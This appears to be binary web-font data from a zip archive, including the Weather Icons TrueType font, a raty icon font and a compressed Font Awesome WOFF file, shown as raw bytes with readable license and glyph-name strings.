+@	+&1 6Ͱ6/1ͳu&+pͰp/uͱ+VJL9ECH]999;@9B$96f9948hk$9p9un9&3991/|~$9 YH+.8BPQ$9b&'$9015463!2+3>23.=46;232!#"&547#"&547#"&547.=##"&;26=4&+"2654&532654'673>54&'.#"#")/C\B#!,?Lk~'4-0""./!"028 4%':("00?YF6jCAdBb""->>-j!!""!!@,D*/aa/*,-aa/*/*aa.,<(\Pk"//"!/0 B- Q$1'(1"#Y?6T@TP@S    S     / ְͱ+ 013nJ%v      S    	  
/ ְͱ+ 0137	nJe%vv    ^     @ /Ͱ/Ͱ2
+@ 	+/ ְͰ+Ͱ	+ͱ+ 013!%!!yUlj%e@    ^       X /Ͱ/Ͱ/Ͱ/	Ͱ2	
+@ 	+/ ְͰ+2Ͱ2+2Ͱ
2+ 013!!!!!!yUpljj%H@@          C   +Ͳ  +/ְͰ+	ͱ+$9 99016$  $&6 54$z8zz@e8zzzza\
-|(         C   +Ͳ  +/ְͰ+	ͱ+$9 99016$  $&6$54$z8zzĘe8zzzzee+0          C   +Ͳ  +/ְͰ+	ͱ+$9 99016$  $&>54$z8zzce8zzzzfq%
t5           D   +Ͱ//ְͰ+	ͱ+$9 	 $9016$  $&>54$z8zzlge8zzzzg>r7           D   +Ͱ//ְͰ+	ͱ+$9 	 $9016$  $&>54$z8zzje8zzzzgVp:        L   +Ͱ//ְͰ+	ͱ+$999 	 $9016$  $&>.z8zz~ylme8zzzzgnmm         I   +Ͱ//ְͰ+	ͱ+9999 	 $9016$  $&32>54.+z8zzymme8zzzzmm        I   +Ͱ/ /ְͰ+	ͱ!+9999 	 $9016$  $&32>54.+z8zzTmmWe8zzzzzmm       ! D   +Ͱ/"/ְͰ+	ͱ#+$9 	 $9016$  $&32>54.#"z8zzmme8zzzzWmm          % B   +Ͱ!/&/ ְͰ+	ͱ'+999 !	 999014$32 $&%232$>54.#"bМzzz
 mm%obzzz9mm}       % >   +Ͱ!/&/ ְͰ+
ͱ'+99 !
 990146$32#"$&%32>54$#"zzz㝜zp0-4mú.#zz㝜zz!m =m          % >   +Ͱ!/&/ ְͰ+
ͱ'+99 !
 990146$32#"$&%32>54$#"zzz㝜zSKTmúF8zz㝜zzm =`          - >   +Ͱ%/./ ְͰ!+
ͱ/+!99 %
 990146$32#"$&732>54$#"zzz㝜z:`mEJmúWGZ[?zz㝜zzP~5m =+enop        & >   +Ͱ"/'/ ְͰ+
ͱ(+99 "
 990146$32#"$&732>54$#"zzz㝜zRm múmzz㝜zzmm =m       $ D 
  +Ͱ /%/ְͰ+ͱ&+	
$9   $901$  $327>54.'&#"ba^}n XDU~I-)Vc)Sm1a^3n-|O_8	l       & D   +Ͱ"/'/ְͰ+	ͱ(+$9 "	 $9016$  $&327>54.'&#"z8zz(m%-_@?s*me8zzzzm:eOm         % D   +Ͱ!/&/ְͰ+	ͱ'+$9 !	 $9016$  $&327>54'&#"z8zz(m"Pl5me8zzzzm>em|m       # D   +Ͱ/$/ְͰ+	ͱ%+$9 	 $9016$  $&;>54'#"z8zz(m=S(dkme8zzzzmBdgm         " D   +Ͱ/#/ְͰ+	ͱ$+$9 	 $9016$  $&32765&#"z8zz(mO9me8zzzzmVm         I   +Ͱ/ /ְͰ+	ͱ!+99	99 	 $9016$  $&;#"z8zz(mEFme8zzzzm 'm        I   +Ͱ//ְͰ+	ͱ+99	99 	 $9016$  $&;#"z8zz(mme8zzzzm]m           L   +Ͱ/ /ְͰ+	ͱ!+99	$9 	 $9016$  $&;#"z8zz(m<>me8zzzzm[Sm         L   +Ͱ//ְͰ+	ͱ+99	$9 	 $9016$  $&&"z8zz(lw{e8zzzzDnr<n          D   +Ͱ//ְͰ+	ͱ+	$9 	 $9016$  $&&47z8zz(i^V˴e8zzzzod          : /Ͳ
+@	+/ְͰ+	ͱ +	$9 016$  $&&547z8zz(gg~pаe8zzzzrzXi         C   +Ͳ  + /ְͰ+	ͱ!+	$9 99016$  $&&547z8zz(_be8zzzzwjXmku         C   +Ͳ  +/ְͰ+	ͱ +	$9 99016$  $& .547z8zz(IgO#̳e8zzzz)3rmc          +
/+ͱ+ 01 $$ ba^^ba    8\_<      S8    S8Z=             2  <H=                 D          b    b      1  v  v       |    1  ;  6  !  3  <  D  4  E  E  =  4  0  0  	    C  ;  	|  	  	B  
Q                        
  
  	  	  	  	  	  	  	  	  	  	    	  
y        	  	            `                r  	  d  8  ` (
H    [  9 S  	  
5  
  =    =                         d    0    	  C  C  	  C    	    V    	  J 6  ! vI    V   	5  		    	     D  	                                n&J                              C    	  	    e 	 	u 	a 	k 	n 	x 	 	i 	U 		 	 	
 	
 F     \ n      S    ]                                                                 , , , , , , , , , , , , , , , , , , 4p	^
XLNh. n!#$%'()*p+~-F.@/1*246`79|:;$<T=2=?x@NABDFPGHJZKLFMMNO4OtOOP`QR4RbSTdTUUDUV0WjXYYFY[4[l[\\]]^^|^_p`4azbd eghhjjl<mtnpHqqrt^tu>uvwLw~xNy
y>z
{:{|}<܀ڂ|
*66Rڊ`@h΋@lČBlލ@dޏVڒ,LƘ~hvX64ڦاTΩFҫfxԭ.BfȰ0TvԳ.HX    X            o          	       	     	     	  >  	  *L  	  xv  	  (  	 	 J  	  \`  	    	  0 W e a t h e r   I c o n s   l i c e n s e d   u n d e r   S I L   O F L   1 . 1      C o d e   l i c e n s e d   u n d e r   M I T   L i c e n s e      D o c u m e n t a t i o n   l i c e n s e d   u n d e r   C C   B Y   3 . 0 W e a t h e r   I c o n s R e g u l a r 1 . 1 0 0 ; U K W N ; W e a t h e r I c o n s - R e g u l a r W e a t h e r   I c o n s   R e g u l a r V e r s i o n   1 . 1 0 0 ; P S   0 0 1 . 1 0 0 ; h o t c o n v   1 . 0 . 7 0 ; m a k e o t f . l i b 2 . 5 . 5 8 3 2 9 W e a t h e r I c o n s - R e g u l a r E r i k   F l o w e r s ,   L u k a s   B i s c h o f f   ( v 1   A r t ) h t t p : / / w w w . h e l l o e r i k . c o m ,   h t t p : / / w w w . a r t i l l . d e W e b f o n t   1 . 0 T u e   A u g   1 8   1 7 : 2 5 : 1 2   2 0 1 5        9                        	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~glyph1glyph2uni00A0uni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni202Funi205Funi25FCuniF000uniF001uniF002uniF003uniF004uniF005uniF006uniF007uniF008uniF009uniF00AuniF00BuniF00CuniF00DuniF00EuniF010uniF011uniF012uniF013uniF014uniF015uniF016uniF017uniF018uniF019uniF01AuniF01BuniF01CuniF01DuniF01EuniF021uniF022uniF023uniF024uniF025uniF026uniF027uniF028uniF029uniF02AuniF02BuniF02CuniF02DuniF02EuniF02FuniF030uniF031uniF032uniF033uniF034uniF035uniF036uniF037uniF038uniF039uniF03AuniF03BuniF03CuniF03DuniF03EuniF040uniF041uniF042uniF043uniF044uniF045uniF046uniF047uniF048uniF049uniF04AuniF04BuniF04CuniF04DuniF04EuniF050uniF051uniF052uniF053uniF054uniF055uniF056uniF057uniF058uniF059uniF05AuniF05BuniF05CuniF05DuniF05EuniF060uniF061uniF062uniF063uniF064uniF065uniF066uniF067uniF068uniF069uniF06AuniF06BuniF06CuniF06DuniF06EuniF070uniF071uniF072uniF073uniF074uniF075uniF076uniF077uniF078uniF079uniF07AuniF07BuniF07CuniF07DuniF07EuniF080uniF081uniF082uniF083uniF084uniF085uniF086uniF087uniF088uniF089uniF08AuniF08BuniF08CuniF08DuniF08EuniF08FuniF090uniF091uniF092uniF093uniF094uniF095uniF096uniF097uniF098uniF099uniF09AuniF09BuniF09CuniF09DuniF09EuniF09FuniF0A0uniF0A1uniF0A2uniF0A3uniF0A4uniF0A5uniF0A6uniF0A7uniF0A8uniF0A9uniF0AAuniF0ABuniF0ACuniF0ADuniF0AEuniF0AFuniF0B0uniF0B1uniF0B2uniF0B3uniF0B4uniF0B5uniF0B6uniF0B7uniF0B8uniF0B9uniF0BAuniF0BBuniF0BCuniF0BDuniF0BEuniF0BFuniF0C0uniF0C1uniF0C2uniF0C3uniF0C4uniF0C5uniF0C6uniF0C7uniF0C8uniF0C9uniF0CAuniF0CBuniF0CCuniF0CDuniF0CEuniF0CFuniF0D0uniF0D1uniF0D2uniF0D3uniF0D4uniF0D5uniF0D6uniF0D7uniF0D8uniF0D9uniF0DAuniF0DBuniF0DCuniF0DDuniF0DEuniF0DFuniF0E0uniF0E1uniF0E2uniF0E3uniF0E4uniF0E5uniF0E6uniF0E7uniF0E8uniF0E9uniF0EAuniF0EB   KPXYF+X!YKRX!Y+\XY+   UӢ  PK     N\@R_      fonts/raty.eotnu [          <                       LP                       q                   r a t y    R e g u l a r    V e r s i o n   1 . 0    r a t y            0OS/2#      `cmap	K     \gasp     x   glyf5    head Jmq  H   6hhea     $hmtx
 a     $loca     maxp  a      nameΜ    post              Lf   GLf                                    @  #                                   H         #       #                                79               79               79     0   I  %".54>32#>4&/."'."26?26?>4&/7 +L8!!8L++L8!!8L+_<<<<<<<<!8L++L8!!8L++L8!<<=<<<<=  0   ) ^  %".54>32#"32>54.#"&/"&/.46?'.46?>27>2 +L8!!8L++L8!!8L+!:,,:!!:,,:!I........!8L++L8!!8L++L8!p,:!!:,,:!!:,........     &  &/&'&54?'&54?66hhA	@#dEEd	       	 .  %7/77&/&'&54?'&54?66EWx66yXlkhhA	@UnnUx88dEEd	     	 ,  %7//7#"/#"'&?'&76?632SIx	-Zhh	A	@	G\	0fXe
DD
e		       Á_<      ϨQ    ϨQ                                        	                 0  0          
   R    	 _                                           2                @                &      
 ( H  	      	   2  	     	   @  	     	   *  	 
 ( H r a t y V e r s i o n   1 . 0 r a t yraty r a t y R e g u l a r r a t y G e n e r a t e d   b y   I c o M o o n                                 PK     N\3{~ ~   fonts/fontawesome-webfont.woffnu [        wOFF    ~                          FFTM  0      kGGDEF  L        OS/2  l   >   `2z@cmap    i  
:gasp         glyf    _y LMhead b   3   6-hhea b      $
hmtx b    
Eyloca e    \maxp l       ,name m  D  㗋post o`    u       =    O<0    1hxc`d``b	`b`d`d:$Y<   xc`fdbʢbl|6F0#F n  x͒Jqgje>"D>{EO >,"u^[[[jos_M%:0g80B.Lszðפ 1YlKWvest)Mk^Zֵ֪m׉Θbk̳26>'YҖjukZۺgm2 (4-iEkЖv}XBY``c9ZJV5eY߆6G΂`3|6[uIpn-[pL0Lp;׸%8o>F8	G8`Wί"E^_=(K,FK+yb       x	TՕ0o}{uuuwUWիnnjmz-nvEEAAJ!*(hD2c%FʦEbb6$&7߹UUW7tw{98m8bI	ڃ݌7SEG!3j㔐=w;P^IA;RRnkLS.)o8G([)9O,,AtS
h
yujZupPGxNon{ho2AD-r]u5e^dMX8=r5ͻ^Q\~2V0 o0kC qA跍G<
9 v`|NXWI:"'aW޺O=}k#"7e	%Vs~-y$ŵXw&'q.n.EK#JDڝn봽7=|wL:Ӎ2vmrRv:=0P@DۓVZ7eOd7HMSY|[of'BL}ƷҗV^+{W=uҤ֦='j,|;vAo=0q8"I³8yZ6Ǵo9q<i3k1%&uk{H}@΁W^qԷ4;gg7Ny/qP O ЌL4q,ԇ"Sv=jL/UjC-woȍnj̮{j\vEkz>pn=^=ajID(෠quF;э5֮s7;QC7U[׈yZIۘػ*!$	dⵄŖ-ˇ?{mf6po~mԽwoG6Moza--m#]?]?Vkzܥܵ.>)9NH%&T/ _IAxOB]8(.v)G=HPSUP>fFE-GGs|'?~zI*R|[`-V'ݙGP3b'\RI̞#n;WٟDTѹb80^s6,rȥism15kk,}qWȝ;t seYqqC/0 q|>
3W/ըsF"sIoAHI 8Cw~@
_(]h=r9p!;H-[Ifw;%=d꯵bmH)k=o\hEi7i:-!mn:`[G]GE,;syH62ƈs՗:I@^\wOVõ<g?]Y{?qKgH[X &tdn[,Z!H6#=nݳ;OWUG4]]6ٰp7[aM5PB]?4P呂7o\!׺ߜؤ2>8/p2h@k~ھB~a[r=Pr8SescFӗ S#P|0z'zS)8aFBFE	VrJ(EfDpU\'h4P 	j<t$>d3}CvfM}Zlf,.pj1tYj2lƗ,U<:zt[%Y!1vMfrc:_n"7zwvmzuidtO.3K<yd03lLl؞Yĭ~bg#8H7JC*gY_YKin0AQPiMg-c)<9ܹJHX-owaX; <z̳@)*rw|u`lc߸m1:H2yΡؕdYנE+G ZQ
kP*.6O W=nuBdu8<74~c8(bK]4x~*x=¿1T2Gߡ}S}JXùP@z${P"h^bؙJr`R_3@|8~ v:GE8ci]5&4tَSצ	#5jQ 0즰N`v!RyS(v
]wB}J]>u=.#Cjn(,THu_Z	6qhhP4#JH%jt3M)#zzdt1Dn~9/ȋB@NV?p'rf:;bBQHb$h3CG|#v2ydm)esvw~٬fp~DG	r0^XzˣՇcl& \`\8HHa IC?6:5H;lވ4C&\FjԬ,|MCݔ/f8ܮ2	.ҍl
_/AkTVΝg~T΂<`2Q&;XAW@@gj{j,	suuE֟:A8,&ռ}|b0lFQ$px=4ddm7nru"N:Ou^x@񝂍CG*%F>Tm?2.opˮ1r\T١K+L؜cn:8qyN\Dvj[ܦDy/*=H	[0l8=`Dd&<qR}~|m?9[Y{HIFPHp;@Y[D]j}*ÞhJԆ'v^6XDLVa@XFk<N.pVeup+O;F G\Eнbkfy
zs	XkM֊PY_g#f}{ Lh.tMV((/4uX4u<k%Ņs=xfȌݐP(.(q\+i}J/[Ok<Ew{W%҂pRJ˙$["H6#] FC֫C_c|=F2[#\eyÃ.anơzK9řeNԞeUտxUwΫm>76tOd٧,崅v2+׷ TU[NHN8W|fG{ܘlT_Z1 8j`Ar㼌`h*b#ռBj0s$n^7w$Gɡ;N
.A>3;My?zpͥΙ4aqp҃GFw|]֯ !ؾbvq8e+)h.,U~4]h.P4s)+kqD2uϸuE3V⭯ҟfS8/D]5ޖ*xWGj}l&klnçiPv'6#(%)>qEo6U+6ŋ8ۢlޏ>`Mn''zB-t/ꬱ3ik3
55Z	1ao|+őm
0$YəOa1ag9up9Gת+b=H߀Q1hT]ҒQ^?s9ػ  lB|4TNYBL,g#5A㉐=!7~=/X]WuwZW避[ꞞWd==Bm®ҏ΋v?$
E#
L!7ط!TRRI4)H#l*:#H.)pӇźRMB=ƅ(ǂ͵˥>A,_2%5pyn6/Mbt,L֮l+9QGb]*D;{PZ!*U1|s{"3\gGχyG:-nQg7`ԏ3xAx%ÏUXMZ&HX9>osGa
'!lü|EW-ebbxsY06E>)VH߰}V=G~Ykh/;ۇ0{4. c\h`5
FA5Tg[4#So3yuy=<'j{	hNk6	@1c/5-T:`YX]g~ilp!e>1x06?eoAsb̪fyb3@B߂Yq?;m)h4skPUfW62c>8F(t*GC	ym
srp?ICY:ϻ&͜99TY-k%)@|FFh9*(RtKǻTXM-IP.%C"?,+ˆ=	>tUgQWw#Υ7݋[P	ޮ'j77̗9ZISO4YkDE͂B~`Ig;mu֢zSg)rE܉=mK9ZD]4~7߉R6Hۂ(ji! BldpӜ^zz拾gF:qꢝkWl/СuX2rTsBנͫڂt}}ƶ_5	k4	A;oHLϹ)z.quAzyxjk5F-@lҙcڗҗ\6=O]9/5ڔ볝\tOCT3f(i
]wPiQwγ=JߌvGޮy[[,Et&QocÂyb66kMK|֋$Yz%P(^87DrK`%5.:	Ďx=mnًm]Ю&2G(-@Q7xu3%@p~нt S]=)AGAVg;*=$mz-|_EZˢk<5U5fFIj`=H})0~F,"N6k"}ṒkT"$mZPc',ϛtzՅ];+j+NG>K#h-zp6\;yb~9.m	\=qrqü=fS
6u(؍3#0
:Nz{S M]"`R.Cr`-U{낍znq	txic+Ԛ:3Y㳙N*aVP
`1Qb@fc^X9̼ܶjtҜYӂhھ3	ijs+\8Tvi|Q<v߹c81-t\16GInJ:̇hXGr+<O|alyxuco7狿P'j{G wsʥs??kL5>4Hjv4l!,cC54{ٱ4dR~p*;9nC%d}dA4Q8iOi	TgdulUSAq$.j6U;MǶۏێۏj9JDvAFbm LOI=`jf:>IǁJ!
6Txưqn̓S9ĀM|!ґ8X)hͅͳ( ,ӌ2+lD3Qɕp$`Pt[ DV2opo%xZ)n:p4N)F ՆtT7Mu`8P*r>(O^tXi(M4!t(>hcU<@ܦç$M'(J׳Q܃<8Vjj7P?Ͼ;_!Q.h|:B)Ӓ xܘs_d9aN=.WO.\|_O&tk.".Dp53͓	6`8IuKjk/wiUSusUlr
̥;ѠMe`TB&n¦\	g2pd[0OvzI'm%4 1}@:įZ/ r@1m8_.WRlv(F5Aս~]*@Qؿ
VgM܊:MʞQZ㖵.
HfJwKIA\f7zl}5VzGƐ
u̻vߋaɰZ(S6Wz7ek[j#6[6iSڣn@d`[}i]<{bN&kG[Q`Ek$|'GOR4:	yX1dhz3TʷL-3DG%Z
b锥3I陌R^cy,3P!@ ieNq좀FS'}@4шÏ~* T(PY+=!?}>Ю+w*3Usƽ i[9a\uWeY5	+,iK\ʚe<zKC&Hdbktݩ7<Gh
fOfp+d<8YX(ϴ s>!;BTR@J	vKU8bUH^Q;Okb%[QHO9谉0r0}U>ʔV5^ܵ }ecFmۈrqLEl	"I5ڦfU2cW+O,MJ񝁧6y?*0&Nݚxq?)>e(	@qTVx>sjAi2W@W<KP
+
i4(ا	
xA̓	1Jz'O?<L0,;V|'[9;j:[BخRknC.иiޱTݝ&[h5V,RIN{oF|Tn_|QW>U{LГK^A'96&E[h8J*X>wyW+Vc*YP!3^%"`ɒRcD@2ܵG5gL6}*Xl틵\"*p9B4MzA65L.2k,0^>G@@HtyZ4iepWtAh,8<{9ȽǷƶwZOYE<Z)t#/崐\F7ʔB>(&6ldi t/=n>?& s]@Ν0Z.3Ĥ9MG6XIJHXa:C}36~>D3UO>[vZ_}סqN!ʃ
-W 
SHa)Y'lg8=`z(bwvi:2E!`;x,Y ߩ
=Іj^ǻQ^_Yy`Q[&aYQus0{&m胑*j)TC$YQ>*P}H˥_7!n?Vا(sOGRBXbG/*󨴉bE("lrʔ$ΫdJwGp6
P/#jmtCR0}Bj̣RXvI>(j=:ECtV:O[h[5"uE3W.f[eܫ8P)e
0Rԁd.ُ:~}t<)/QcOBGGp<"-G-b΢y3b#5RPCk{d˚ ح6d]LdLu鋶LCzӮIYs;A@*nyڢKˏɩEWeMâx[*u-zҗrizH>2$=_j7{!h7Ύ|pfs%9LAQ,2WH(EEug&/
$̃cm$0^(K_C]Di+/TRhOJ?Nޛ j;쁳#ISm0Q4WՏ5_fd "0ԏ ~D}R'k GK1(_/TFȤ8>Q 8m.mstÁ-`wZaxx";ͯ2o2:h*4X-hW3snP,ɞ
"ޗ`7Nw8ɐD\	(,f鄝	IM|؟նkÿl5nv xL/LM}ݻ/Еum.umd>Nh&kԵ-h#+qs}v.L8c|P=/2,T,\fxP!:*}uLvyj{C [	^܋lV͛CZk9~_+2_ʗ7%\~NVw|:$^fH-l6[DniD>=}4b=U{xCu:6ݨ18=Z%ܓ&?i*V߻"z,K=,5keb PÒ}aM)dŐ".Aǝ2AnK%
%7 ;QΤx9:J's9 :(w̿sltWN~+lAڏm[w77n\W<9-N߹ti?";iw[;LvP2zrgkcl;#E*b8*<~h!:Q@qӼek/#@wꪫ'	r*2_2mppm"Oގ:wFgRۜ{zh?U_3m3ؾ)[_./djG̨.+{7g|6w6؟>d5;{O"-<+jaW22pWagy6&BhI2%1S*[ϤF۷%nwT	QĶ!=00!dP$Oj!%l6bd [6,6`^Hfɖ3V߶[8|\MQ
lƜYxj?KO3ٲ%))JrGƼQ̼)2c"^;@Y5u!'hVGTi M9#(ן<4s{@efQ`Gy8L"KB3+fOx_c`=C@d-TOj+Jw]f1򉠦J -L[,Əvu&}z)AԫyzX߶"MWwP-蒺Mrk44LZvɎiZcKU/Nja,a!"Y<]K-{S&,-l5V(DSJZU+6UԤ)jȀMXju5xkOxkCf>v;oĂu)O[H<t_X4i+*dԒx7)lO=R|Oh\ؼERD*c R?ʇ﫯"bL+nwSBIZ^ģ|r#ReA>%rJrZNCQn?|x_B*kgYn3:B4WͤuQ.RMF2>8G3J<ZrVŗY~P9w;<+iչ+5DDhp,;ʹjfƼ=䵫9 3Ƒ,@('h:Ƌ&mTkPq8󨴱!ä.#Q{==4V#mx	_)IfC#yFNuQRPQyQu:]g*O<j,0?g`ON\Z\FkrIݝJ%QM	$%G/-S_hzt>U֧c'P fՅԭںo>x,uP^"yXdci+Y_'z6~(+q$U;{S<^xGn}ouvXt%&3`.:gA'%O0j@Ew:мjdqge<TCB=nҗCq+d)ӪLZ&ίYْbvsmk'mxl0k"ȓU\{ӲYzY.TYt|"cK:6.4LSzD&DLJa|+Qh_}eΞz_b"	P8^Џ>4c&ūY3]*tI*
r6% &A R^3$p,a2GÇ}O>W476Ոn7[YNqOecu/=cm:&4Co<}iAO6ăNYm:̲f3J"MK:Ek:e-O76;kh}x?1/\g^y}7|4q'7o^ o.Uξ& d5v 3_P MpĹVjlU	a^vqǹ܈\?虽쪰:Oob2AL29zXvQ VUq^k%@$Ǡ#o}TscFW}$yF$y^2:l4/maԽ&oL3ѤNIq!#ĺ~N>0=ٞbDAw	OhCTѡ֩FI.M[V#Œ3ze{EvceR]
ecsERn`{ahZ]'3W0vIxV[mQ8f64Sc%WrF.aR6aLv0n=,L	ZBU\ ]aJXL7e銛ǉQƀcHj\}MGޛ[X@"WdNS<+#(;<"w~omyL'DpEbY?~{{,o,RD(JbC>ܶ_dՇwffsܦk3ގ&~L	=$&Cyd"le؄ tQRʉ@*΋7JՄpC#5-Vgo!Gi4&NpOo޴խ9k'y=JS4/;٬vY3MiB<
(Yuv<9_m@|zU
_<';^;#b})Kywno%6,i7-+v(k6ic"Ym=t#WRTmR[na<j
X)GVX,gB&blц*ϸ"^(^Bk(tǒD>fʭklW޼(IdrUU5=^Dfj}-:$rp(<MzMƯ:|%7L>%\x+>wW؄	Ougq/,W:˺/Ɏ+y+&Lo)	@[@exbiu;:Ykw[50x:rsS&_Xxf[bT:7ak}Yx<5r'(>q-proɴ2HU&I-Kmhɠ\YFY`|fM0]63Bw5%#'iH(8 [*k.Etc&aNmVJQKTMbX4?#4c왓Q,<v5?J	[Js'ڛiӒӇC>䶵hMz__m27b2HC' j
,JN؋LuqMZW7'./^L^DL%S	n4:OW^of߷Rпlq{\PȖ叙y4*xBav kx@͗qY.3HQF|:rƔ9`P_SRL
6b|jAn~<DN"u0Q\ Wuާfn6oH玤N	N'S;)̓vGvejOXJUPsps<׷4}am}SjTYCheubm20~t'r3:_H7M笜YrN:1!-z\MaP}l &pq6*_UYIG~O_KU8FT{t(av"CBf_F;QnqӳB$MU*rg,^G D,IH:7FD	Jlk6c']u;&FbFiB"&͙MykUP\M]J~qZ JP$5K?1/,#	K:I)DoY:Mg!'S$M }ÊN~$Ū3wm6]r׊sO^
ll6H{RvBoLg(iZhVd˂]w!r<3H/7CyYN9Y@LceY֖Y$rz2dk`8v1gI1"0k~,c$tyh2^/sv骩m{TUM~{WÏɿmkUٹ?΅s4a:ZDg;@Vם4`gلw]x/goLvw'vڟڔyK<+<f>Ǟ~NF=ΐ7.'hٖ}t)vSK4Yԉs]kWN-ЯK`~kR-^"9BF%`%5S'$^\o;NKM#_5y<C$(V*ޖZj/IVZetMk,xC_m{ۏ\ʶk@1R+ې.臬tиl=C;x|^c&a=w99pt袋71R1@e  a<3w6Lj(
~n0KM.EaRIW1[S,9p'YPM>r֖jKgMdn7Yn NlݮmGYN̂09E&WKbK|ĸJﱵWr{ݷkQcZ\2R؛Oۡ_h]Ըy&܈V;~M/׭n߮>_[./m2A	qJ{>LM8Af]'vHTUOμŃ̚u\eAb~u:ynwݥIٸ$j[QV*b聇nEC*Z ɭEo?҃&k=t#=KTrfWQjJN^yٔQW/Oo^rrj;NM4I`0wϚ _ߜ!Iouz#3tzi
kjmfL'k
^9uDћVnǼ^߲rn_CSC "6Gi1#W0=p']@8z}Q/
F"̒&=lFwdF3v1FuDFYV'F`.bNu䡁 Vl|I׀ɷ*~)Z*!+uQvCM/vԂ.qcYs,wDiN6 YrL U߲[crcq5)V!c031;B0ތeG͝UaVNUe	(;;|d;_TA"?/}Mi	;]wt7WY㰛nNgh7EB7_RE=SxV5Psm`ržYazRat	k_F=dVٿgCj߇%T}[n.Z$Uq:ۛ*<ggnGh(U?.b=Ђ z3ek
4	v^QVJRT+N1EyD;YC+dNA݇n$9MAyhpJ=^蹭%[ҫ{\r8L^Rڠg8ޥ~ ad8U=gP'1.#l
=ΑѬzR6np~[EfnG+y|:fE˻~E׶Mʟ]f}jE3qMOϚ{d?]uU?#/;s~򹃫ؚǀK-6B'闘̵Lgcg&=G'}S唩VCIsyRCM)rd7&UC͝w4Nsca7fl]tTwݵFè4ou֍2B>#o7(J~jE(EM-P<n}enpt^^<5fͬ>3/rQQ@Wヌ(QUm)!sG7ꜜZ4	Ulڟpd:Cce's2E;u*'$]"c4}vzyDzɨn4bTF.b4R#P*~6tjtŋdۥy1W!ןD}glْW_A4R/u|]P	Ǯ~:t[94{-.ǀyA0 x6-NMvM$c50ghQ6 1BnW_us;BEg}\"\aQ=#ͧվv1ŊSY(R.i[9JdQӜ<0@BNya)j0Vh2쬄sO eP5>I~1! -A8agjNq^76e/쾇ݳRuԢZ&UEJlpYo<2"_:979f阎 .!hI4RkCjGBu+btQPu/А1TZ5V:+zp8jy\ST!zru8Y۸$ՅFuFYTj
+[kj`GŦ+yl֦Y닍4R,+h")=U>yV˕!V]Z8G_
jWpH ֬Q6P8=wQ9]W809{z$5p+҃D%ꔒ-R`5CbJihEI@xQ@-Jhnא!7#םY
ѣX2MnƔi&#ix2nB~#}2n)Ͱ.woB(Yk"5nGPTF;NQ@(奣$%l7Q?lRPfB!wҤJƝaîGٍ J vKgWOӬL_$ta[!i&M>JLBfR%ۣ6!o"$,J{l2"Qo#BQ'!"#H:.	o	<9*a$
<1ʔ/-
᪠(J&$
f^oћ<on!AEfl 5
H<o!ͭ(pNtH¼բ.a.&3!"I:LfsZ0A:A REEb"`\`qbѦӻEAlrZg0_
X0JX	Щ91"BN,bqH/bI2&06IMU%U	lI:DY%YKxíAЛtPG$Lx70lĤ'vluۏx!"Io#ENF.`EbUo˘'\y~ّ$(dF nd3HazI+F#&zh$Ygu.Xlb%N[/*W8 BV0f^@`^y'/Tz:hM#$<EH,0Aoa,0(i"!1_E63;xMrXvuaQ2C_yY#"/輘XHp#9x1@1@ 
6	Z m݆Q D/.T;O |`1e7J:^G	:^&#aA$è
:dz +a(~dD[iFXVX DXF':Cqsjӎpq2E5!K(KWk̙gط(hP+R^Q-O˻h@&lo%<xj/ޅG6R-V|lhtiL`xlhY9U~S㨆ӵ(`*J|u(xn\T"KL?gKl/jP[ &crnl*oEŅu̬۝dUFW5\1vC@4Pb|Me^I]%S!W}`*_U<(cnu/Xxhw
)k0T$׻Z3
^^v1eFg'PJAR#F,+EY@'CK_}B}~:@ŏݏ. g2K.LKZy,ߍ6:&5 Fsn-Ț\%۹Idn
[ɸ@i5]iv$tW3L\	C^\L>}6,+7
g2.;H\Ұf,-JǒEw\Bwjǎ>fM..klDj.Xv}mW\:5֔jKضV3BS$l&ijDYdIO~q!rW )\3H.iT2R
˔D'i>- (*Qoc$`g#Aꆘ0ߨn7.>x;w,yc?Ơ 36I61q	($,ǋwܴtr(yh2l{s\p@5H?]JHʽ<lnh'1PmϣSo7i$½݇a͙~}Z}gP$6MhM_:~z{dZKe:s/޵bR+ʤm.F_-mAELǭs;;\激q9:L0hֳoȰhmS!SbfD"N ((YqG"Č;Ck%mDD͙mvKa5:p5<pFi͢=Oӛw4->gIhhh{ ef
zUs|+DWxst-}" <;p>#?X;$}upȖow/&ν'dޒM-3g֛떤$yIEuR
;5ItБf<n;u->b{ g-:6ާ>k0ڹQs.A,1xBU\tBBA=
)~3.{ҍPa~OBP:sQS=:Uf s1KɗM
@PsygQ')_@\l`|N16fpp3,Y,wZ1~טOnoy'ǗlfCW?Ot=Kz
(UQCdPn.<=y]Sd2KZu{d^&P^	qhEAakFQ7><~̈^=QbyAsX Gr9Aժ`	ΕMʆ돱,,)4KݑYZ?0Jd\;|h~ki?ev宰Kv2)i9Jcj~Uivo	V޴ʍX~eCkˆƆKڰZn߹ZXkon퀭:h7ΤG+Ș}I]Sfn"u!`*ئ(E3	MN4jnRXMGs/MtbRS{i+-v	aJu3Z/WS9ZK]>Ɵյ68N^~i>v$$&x;ό/nTu_pdR7#ƌ]Kqk^:J1)Ǥ5$2;ʗ$X[Z(ޜhJ7*%2E叙#zg{hLK,M#ǤOkdւnnVZĦپ[ȷkV%ʂ:@S>Զ}S~.vm[kl&żVLsHuvM[2/z9ն.S<#y\6 nGfmȬ@xʃEӻeiwXDv[#:bL_hkm[-NٌEZ~emM%Y뛮% Zbth%:9}6xn.^%,uXF>.1^x oUQO7}\1B,53V̒ׄ'Ōzw67Oi6o_rUqp,1qOi#*n;6F(Ny'+ܣcTq<eLA"qe޲SqxLPQWQWyhBfM([vL#ۛ Q};Ε˒-$glYo+s8qNer:@Bp &*АBy	RZhMKy-Gۗ̮!>333~xh4[ A=,Oc⋢rx{+=.zfGA=SMϒk߉kѥ1|ug<Dk~>\==j=$rR3,xٰU`B!"LQ Jc@({˯F/43ibM6A>A 0Z( 	zcdIQ& Z+8LTW& aQ<a"*FS)1^T}uМ5`-q'6nh־ڻO׬%3<h%rܿe	:b
VYzlN]6p/oyiOc5xrM{>_ؾv5>9Xruʓ3r0rdet|¶Ld_*5hct,g}￼Wi\<csp=iv6l۽N8E߹ٿ}aq̈́s+WߚDٶD^؉>[DPjq\j3th d[)7rhUW]jiK97
